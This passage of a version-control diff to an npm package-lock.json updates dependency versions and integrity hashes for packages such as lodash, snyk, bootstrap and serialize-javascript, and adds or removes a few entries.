"https://registry.npmjs.org/bl/-/bl-4.0.3.tgz", + "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==", "requires": { "buffer": "^5.5.0", "inherits": "^2.0.4", @@ -3139,9 +3112,9 @@ "dev": true }, "bootstrap": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.0.tgz", - "integrity": "sha512-Z93QoXvodoVslA+PWNdk23Hze4RBYIkpb5h8I2HY2Tu2h7A0LpAgLcyrhrSUyo2/Oxm2l1fRZPs1e5hnxnliXA==" + "version": "4.5.2", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.2.tgz", + "integrity": "sha512-vlGn0bcySYl/iV+BGA544JkkZP5LB3jsmkeKLFQakCOwCM3AOk7VkldBz4jrzSe+Z0Ezn99NVXa1o45cQY4R6A==" }, "boxen": { "version": "4.2.0", @@ -3233,9 +3206,9 @@ } }, "supports-color": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", - "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "requires": { "has-flag": "^4.0.0" } @@ -3392,9 +3365,9 @@ } }, "buffer": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.5.0.tgz", - "integrity": "sha512-9FTEDjLjwoAkEwyMGDjYJQN2gfRgOKBKRfiglhvibGbpeeU/pQn1bJxQqm32OD/AIeEuHxU9roxXxg34Byp/Ww==", + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", + "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", "requires": { "base64-js": "^1.0.2", "ieee754": "^1.1.4" @@ -3506,9 +3479,9 @@ }, "dependencies": { "get-stream": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.1.0.tgz", - "integrity": "sha512-EXr1FOzrzTfGeL0gQdeFEvOMm2mzMOglyiOXSTpPC+iAjAKftbr3jpCMWynogwYnM+eSj9sHGc6wjIcDvYiygw==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", "requires": { "pump": "^3.0.0" } @@ -3630,7 +3603,8 @@ "chownr": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "dev": true }, "chrome-trace-event": { "version": "1.0.2", @@ -3702,9 +3676,9 @@ } }, "cli-boxes": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.0.tgz", - "integrity": "sha512-gpaBrMAizVEANOpfZp/EEUixTXDyGt7DFzdK5hU+UbWt/J0lB0w20ncZj59Z9a93xHb9u12zF5BS6i9RKbtg4w==" + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz", + "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==" }, "cli-cursor": { "version": "3.1.0", @@ -3726,9 +3700,9 @@ "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==" }, "clipanion": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.4.2.tgz", - "integrity": "sha512-kBCYtQKI4/R/zjierdwoDAsNUSvoh4pX2tseYxgLYQcKIpdPsHZrFWiQOfbe2Scd/btsqJEc4q6g55q0p5DZAw==" + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.5.0.tgz", + "integrity": "sha512-VYOMl0h/mZXQC2BWq7oBto1zY1SkPWUaJjt+cuIred1HrmrcX1I2N+LNyNoRy8Iwu9r6vUxJwS/tWLwhQW4tPw==" }, "cliui": { "version": "5.0.0", @@ -5568,9 +5542,9 @@ "dev": true }, "event-loop-spinner": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-1.1.0.tgz", - "integrity": "sha512-YVFs6dPpZIgH665kKckDktEVvSBccSYJmoZUfhNUdv5d3Xv+Q+SKF4Xis1jolq9aBzuW1ZZhQh/m/zU/TPdDhw==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz", + "integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==", "requires": { "tslib": "^1.10.0" } @@ -6038,9 +6012,9 @@ "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==" }, "filepond": { - "version": "4.18.0", - "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.18.0.tgz", - "integrity": "sha512-lIRv27uYU0DQjUNa0G+aGsdmkhxdEzk9k2gbOsWLQdO+4u6FGNPjA1lUfy5vkF4ifx2GEeO1X+xP6Kqyb6tWaw==" + "version": "4.19.2", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.2.tgz", + "integrity": "sha512-2NgemeQGIx9TfjaRwn6LpjJFXILzGXl0FD+Er7veI/25Nn+4qu0mA8rk22S3vpJPajMRn+dD1EUTEOMgUolJ7w==" }, "fill-range": { "version": "4.0.0", @@ -6237,14 +6211,6 @@ "universalify": "^0.1.0" } }, - "fs-minipass": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz", - "integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==", - "requires": { - "minipass": "^2.6.0" - } - }, "fs-readdir-recursive": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", @@ -6550,18 +6516,18 @@ } }, "got": { - "version": "11.5.0", - "resolved": "https://registry.npmjs.org/got/-/got-11.5.0.tgz", - "integrity": "sha512-vOZEcEaK0b6x11uniY0HcblZObKPRO75Jvz53VKuqGSaKCM/zEt0sj2LGYVdqDYJzO3wYdG+FPQQ1hsgoXy7vQ==", + "version": "11.6.0", + "resolved": "https://registry.npmjs.org/got/-/got-11.6.0.tgz", + "integrity": "sha512-ErhWb4IUjQzJ3vGs3+RR12NWlBDDkRciFpAkQ1LPUxi6OnwhGj07gQxjPsyIk69s7qMihwKrKquV6VQq7JNYLA==", "requires": { - "@sindresorhus/is": "^3.0.0", + "@sindresorhus/is": "^3.1.1", "@szmarczak/http-timer": "^4.0.5", "@types/cacheable-request": "^6.0.1", "@types/responselike": "^1.0.0", "cacheable-lookup": "^5.0.3", "cacheable-request": "^7.0.1", "decompress-response": "^6.0.0", - "http2-wrapper": "^1.0.0-beta.4.8", + "http2-wrapper": "^1.0.0-beta.5.2", "lowercase-keys": "^2.0.0", "p-cancelable": "^2.0.0", "responselike": "^2.0.0" @@ -7497,9 +7463,9 @@ } }, "is-docker": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.0.0.tgz", - "integrity": "sha512-pJEdRugimx4fBMra5z2/5iRdZ63OhYV0vr0Dwm5+xtW4D1FvRkB8hamMIhnWfyJeDdyr/aa7BDyNbtG38VxgoQ==" + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.1.1.tgz", + "integrity": "sha512-ZOoqiXfEwtGknTiuDEy8pN2CfE3TxMHprvNer1mXiqwkOT77Rw3YVrUQ52EqAOU3QAWDQ+bQdx7HJzrv7LS2Hw==" }, "is-extendable": { "version": "0.1.1", @@ -8018,9 +7984,9 @@ } }, "lodash": { - "version": "4.17.19", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", - "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==" + "version": "4.17.20", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz", + "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==" }, "lodash-es": { "version": "4.17.15", @@ -8047,11 +8013,21 @@ "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=" }, + "lodash.constant": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lodash.constant/-/lodash.constant-3.0.0.tgz", + "integrity": "sha1-v+Bczn5RWzEokl1jYhOEIL1iSRA=" + }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", "integrity": "sha1-JI42By7ekGUB11lmIAqG2riyMXA=" }, + "lodash.filter": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.filter/-/lodash.filter-4.6.0.tgz", + "integrity": "sha1-ZosdSYFgOuHMWm+nYBQ+SAtMSs4=" + }, "lodash.flatmap": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.flatmap/-/lodash.flatmap-4.5.0.tgz", @@ -8067,11 +8043,26 @@ "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, + "lodash.foreach": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-4.5.0.tgz", + "integrity": "sha1-Gmo16s5AEoDH8G3d7DUWWrJ+PlM=" + }, "lodash.get": { "version": "4.4.2", "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=" }, + "lodash.has": { + "version": "4.5.2", + "resolved": "https://registry.npmjs.org/lodash.has/-/lodash.has-4.5.2.tgz", + "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=" + }, + "lodash.isarray": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-4.0.0.tgz", + "integrity": "sha1-KspJayjEym1yZxUxNZDALm6jRAM=" + }, "lodash.isempty": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.isempty/-/lodash.isempty-4.4.0.tgz", @@ -8082,16 +8073,46 @@ "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=" }, + "lodash.isfunction": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/lodash.isfunction/-/lodash.isfunction-3.0.9.tgz", + "integrity": "sha512-AirXNj15uRIMMPihnkInB4i3NHeb4iBtNg9WRWuK2o31S+ePwwNmDPaTL3o7dTJ+VXNZim7rFs4rxN4YU1oUJw==" + }, + "lodash.isundefined": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/lodash.isundefined/-/lodash.isundefined-3.0.1.tgz", + "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=" + }, + "lodash.keys": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-4.2.0.tgz", + "integrity": "sha1-oIYCrBLk+4P5H8H7ejYKTZujUgU=" + }, + "lodash.map": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.map/-/lodash.map-4.6.0.tgz", + "integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM=" + }, "lodash.pick": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz", "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=" }, + "lodash.reduce": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.reduce/-/lodash.reduce-4.6.0.tgz", + "integrity": "sha1-8atrg5KZrUj3hKu/R2WW8DuRTTs=" + }, "lodash.set": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz", "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=" }, + "lodash.size": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.size/-/lodash.size-4.2.0.tgz", + "integrity": "sha1-cf517T6r2yvLc6GwtPUcOS7ie4Y=" + }, "lodash.topairs": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/lodash.topairs/-/lodash.topairs-4.3.0.tgz", @@ -8102,6 +8123,21 @@ "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", "integrity": "sha1-NhY1Hzu6YZlKCTGYlmC9AyVP0Ak=" }, + "lodash.transform": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.transform/-/lodash.transform-4.6.0.tgz", + "integrity": "sha1-EjBkIvYzJK7YSD0/ODMrX2cFR6A=" + }, + "lodash.union": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", + "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=" + }, + "lodash.values": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.values/-/lodash.values-4.3.0.tgz", + "integrity": "sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=" + }, "log-symbols": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-3.0.0.tgz", @@ -8170,9 +8206,9 @@ } }, "macos-release": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/macos-release/-/macos-release-2.4.0.tgz", - "integrity": "sha512-ko6deozZYiAkqa/0gmcsz+p4jSy3gY7/ZsCEokPaYd8k+6/aXGkiTgr61+Owup7Sf+xjqW8u2ElhoM9SEcEfuA==" + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/macos-release/-/macos-release-2.4.1.tgz", + "integrity": "sha512-H/QHeBIN1fIGJX517pvK8IEK53yQOW7YcEI55oYtgjDdoCQQz7eJS94qt5kNrscReEyuD/JcdFCm2XBEcGOITg==" }, "make-dir": { "version": "2.1.0", @@ -8238,9 +8274,9 @@ } }, "marked": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/marked/-/marked-1.1.1.tgz", - "integrity": "sha512-mJzT8D2yPxoPh7h0UXkB+dBj4FykPJ2OIfxAWeIHrvoHDkFxukV/29QxoFQoPM6RLEwhIFdJpmKBlqVM3s2ZIw==" + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/marked/-/marked-2.0.0.tgz", + "integrity": "sha512-NqRSh2+LlN2NInpqTQnS614Y/3NkVMFFU6sJlRFEpxJ/LHuK/qJECH7/fXZjk4VZstPW/Pevjil/VtSONsLc7Q==" }, "mathml-tag-names": { "version": "2.1.3", @@ -8458,30 +8494,6 @@ } } }, - "minipass": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz", - "integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==", - "requires": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" - }, - "dependencies": { - "yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" - } - } - }, - "minizlib": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz", - "integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==", - "requires": { - "minipass": "^2.9.0" - } - }, "mississippi": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", @@ -8689,9 +8701,9 @@ } }, "needle": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/needle/-/needle-2.5.0.tgz", - "integrity": "sha512-o/qITSDR0JCyCKEQ1/1bnUXMmznxabbwi/Y4WwJElf+evwJNFNwIDMCCt5IigFVxgeGBJESLohGtIS9gEzo1fA==", + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/needle/-/needle-2.5.2.tgz", + "integrity": "sha512-LbRIwS9BfkPvNwNHlsA41Q29kL2L/6VaOJ0qisM5lLWsTV3nP15abO5ITL6L81zqFhzjRKDAYjpcBcwM0AVvLQ==", "requires": { "debug": "^3.2.6", "iconv-lite": "^0.4.4", @@ -12302,9 +12314,9 @@ } }, "open": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/open/-/open-7.0.4.tgz", - "integrity": "sha512-brSA+/yq+b08Hsr4c8fsEW2CRzk1BmfN3SAK/5VCHQ9bdoZJ4qa/+AfR0xHjlbbZUyPkUHs1b8x1RqdyZdkVqQ==", + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/open/-/open-7.2.1.tgz", + "integrity": "sha512-xbYCJib4spUdmcs0g/2mK1nKo/jO2T7INClWd/beL7PFkXRWgr8B23ssDHX/USPn2M2IjDR5UdpYs6I67SnTSA==", "requires": { "is-docker": "^2.0.0", "is-wsl": "^2.1.1" @@ -12537,9 +12549,9 @@ }, "dependencies": { "get-stream": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.1.0.tgz", - "integrity": "sha512-EXr1FOzrzTfGeL0gQdeFEvOMm2mzMOglyiOXSTpPC+iAjAKftbr3jpCMWynogwYnM+eSj9sHGc6wjIcDvYiygw==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", "requires": { "pump": "^3.0.0" } @@ -13143,9 +13155,9 @@ "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=" }, "pretty-bytes": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.3.0.tgz", - "integrity": "sha512-hjGrh+P926p4R4WbaB6OckyRtO0F0/lQBiT+0gnxjV+5kjPBrfVBFCsCLbMqVQeydvIoouYTCmmEURiH3R1Bdg==" + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.4.1.tgz", + "integrity": "sha512-s1Iam6Gwz3JI5Hweaz4GoCD1WUNUIyzePFy5+Js2hjwGVt2Z79wNN+ZKOZ2vB6C+Xs6njyB84Z1IthQg8d9LxA==" }, "pretty-error": { "version": "2.1.1", @@ -13642,11 +13654,10 @@ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" }, "react-json-tree": { - "version": "0.11.2", - "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.2.tgz", - "integrity": "sha512-aYhUPj1y5jR3ZQ+G3N7aL8FbTyO03iLwnVvvEikLcNFqNTyabdljo9xDftZndUBFyyyL0aK3qGO9+8EilILHUw==", + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.0.tgz", + "integrity": "sha512-lp+NDCsU25JTueO1s784oZ5wEmh1c6kHk96szlX1e9bAlyNiHwCBXINpp0C5/D/LwQi9H/a6NjXGkSOS8zxMDg==", "requires": { - "babel-runtime": "^6.6.1", "prop-types": "^15.5.8", "react-base16-styling": "^0.5.1" } @@ -13698,12 +13709,12 @@ } }, "react-particles-js": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.2.1.tgz", - "integrity": "sha512-sZ6jmwbbHQOtqsChlI7X9iee+iN4C1g9BLch2f9Ck9dvJmAaVT8/kQB1gOQLROFKIFIzQyt34gXzrI7ZNwNspQ==", + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.3.0.tgz", + "integrity": "sha512-pc9oJWEHH3UR1sJurL98TPrEWr0Yf2E8j+f8PLDpgbnQirTRqfwEvTRNJ/Ibvt6233WycCrndn6ImfL0PDEr7A==", "requires": { "lodash": "^4.17.11", - "tsparticles": "^1.13.6" + "tsparticles": "^1.17.1" } }, "react-redux": { @@ -14525,10 +14536,13 @@ } }, "serialize-javascript": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-2.1.2.tgz", - "integrity": "sha512-rs9OggEUF0V4jUSecXazOYsLfu7OGK2qIn3c7IPBiffz32XniEp/TX9Xmc9LQfK2nQ2QKHvZ2oygKUGU0lG4jQ==", - "dev": true + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", + "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", + "dev": true, + "requires": { + "randombytes": "^2.1.0" + } }, "serve-index": { "version": "1.9.1", @@ -14638,11 +14652,22 @@ } }, "sha3": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.1.2.tgz", - "integrity": "sha512-agYUtkzMsdFTQkM3ECyt6YW0552fyEb0tYZkl7olurS1Vg2Ms5+2SdF4VFPC1jnwtiXMb8b0fSyuAGZh+q2mAw==", + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.1.3.tgz", + "integrity": "sha512-Io53D4o9qOmf3Ow9p/DoGLQiQHhtuR0ulbyambvRSG+OX5yXExk2yYfvjHtb7AtOyk6K6+sPeK/qaowWc/E/GA==", "requires": { - "buffer": "5.5.0" + "buffer": "5.6.0" + }, + "dependencies": { + "buffer": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", + "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", + "requires": { + "base64-js": "^1.0.2", + "ieee754": "^1.1.4" + } + } } }, "shallow-clone": { @@ -14833,11 +14858,11 @@ } }, "snyk": { - "version": "1.361.3", - "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.361.3.tgz", - "integrity": "sha512-93SxV9WD+pN/9bGRizfoiYwfKHy5mDyTCdOYtWcVbTFMi7Gf+I4Q5YprunHBTeJLLh0+qsD6l77QBo9GiYyiaA==", + "version": "1.373.1", + "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.1.tgz", + "integrity": "sha512-R8f0IpBPlK5fMytP9X1Nrk//u2NKHQ+kv/PFi0SaCW80ksFP3zrC8oKXYBkvfYTm+56TVw8cZm888DwvEOL5zg==", "requires": { - "@snyk/cli-interface": "2.8.0", + "@snyk/cli-interface": "2.8.1", "@snyk/dep-graph": "1.18.3", "@snyk/gemfile": "1.2.0", "@snyk/graphlib": "2.1.9-patch", @@ -14860,11 +14885,11 @@ "proxy-from-env": "^1.0.0", "semver": "^6.0.0", "snyk-config": "3.1.0", - "snyk-docker-plugin": "3.13.1", - "snyk-go-plugin": "1.14.2", + "snyk-docker-plugin": "3.16.0", + "snyk-go-plugin": "1.16.0", "snyk-gradle-plugin": "3.5.1", "snyk-module": "3.1.0", - "snyk-mvn-plugin": "2.17.1", + "snyk-mvn-plugin": "2.19.1", "snyk-nodejs-lockfile-parser": "1.26.3", "snyk-nuget-plugin": "1.18.1", "snyk-php-plugin": "1.9.0", @@ -14947,22 +14972,24 @@ } }, "snyk-docker-plugin": { - "version": "3.13.1", - "resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-3.13.1.tgz", - "integrity": "sha512-4GEZ8Rx+1K33i0SuMRO03T+n8jAosLae4iuo1TZu9ugkxdQzbBStzVFz2N6x1s0GI/psWQNOWSLKfzFJYMOctw==", + "version": "3.16.0", + "resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-3.16.0.tgz", + "integrity": "sha512-i11WxMhsZxcFKn123LeA+u77NN7uWqWgPfQ6dvkACJnvouWHZidkOAxBOmYU49x8VS7dEQSe2Ym0bgr6EHn4cQ==", "requires": { "@snyk/rpm-parser": "^2.0.0", - "@snyk/snyk-docker-pull": "^3.1.3", + "@snyk/snyk-docker-pull": "^3.2.0", "debug": "^4.1.1", "docker-modem": "2.1.3", "dockerfile-ast": "0.0.19", - "event-loop-spinner": "^1.1.0", + "event-loop-spinner": "^2.0.0", "gunzip-maybe": "^1.4.2", + "mkdirp": "^1.0.4", "semver": "^6.1.0", "snyk-nodejs-lockfile-parser": "1.22.0", "tar-stream": "^2.1.0", "tmp": "^0.2.1", - "tslib": "^1" + "tslib": "^1", + "uuid": "^8.2.0" }, "dependencies": { "debug": { @@ -14973,6 +15000,11 @@ "ms": "^2.1.1" } }, + "mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==" + }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", @@ -15005,6 +15037,21 @@ "source-map-support": "^0.5.7", "tslib": "^1.9.3", "uuid": "^3.3.2" + }, + "dependencies": { + "event-loop-spinner": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-1.1.0.tgz", + "integrity": "sha512-YVFs6dPpZIgH665kKckDktEVvSBccSYJmoZUfhNUdv5d3Xv+Q+SKF4Xis1jolq9aBzuW1ZZhQh/m/zU/TPdDhw==", + "requires": { + "tslib": "^1.10.0" + } + }, + "uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" + } } }, "tmp": { @@ -15014,6 +15061,11 @@ "requires": { "rimraf": "^3.0.0" } + }, + "uuid": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.0.tgz", + "integrity": "sha512-fX6Z5o4m6XsXBdli9g7DtWgAx+osMsRRZFKma1mIUsLCz6vRvv+pz5VNbyu9UEDzpMWulZfvpgb/cmDXVulYFQ==" } } }, @@ -15027,17 +15079,61 @@ } }, "snyk-go-plugin": { - "version": "1.14.2", - "resolved": "https://registry.npmjs.org/snyk-go-plugin/-/snyk-go-plugin-1.14.2.tgz", - "integrity": "sha512-r/uaM3gk/RF7m/VGYswxlnA6I+kMgK3eVPsPyf7400BhqF8noh8K7v10CEg67mHA4JM0l7dZASqejr/5kKw9ZQ==", + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/snyk-go-plugin/-/snyk-go-plugin-1.16.0.tgz", + "integrity": "sha512-XNGHEFyP+pCzcqmXnj5T/1Oy6AZzm2WkTSuUpohWQ/09ecMRCCv2yrr/kwMQemrKN4+7CoJS/9xfm3GnNlzVHA==", "requires": { + "@snyk/dep-graph": "1.19.3", "@snyk/graphlib": "2.1.9-patch", "debug": "^4.1.1", "snyk-go-parser": "1.4.1", - "tmp": "0.1.0", + "tmp": "0.2.0", "tslib": "^1.10.0" }, "dependencies": { + "@snyk/dep-graph": { + "version": "1.19.3", + "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.3.tgz", + "integrity": 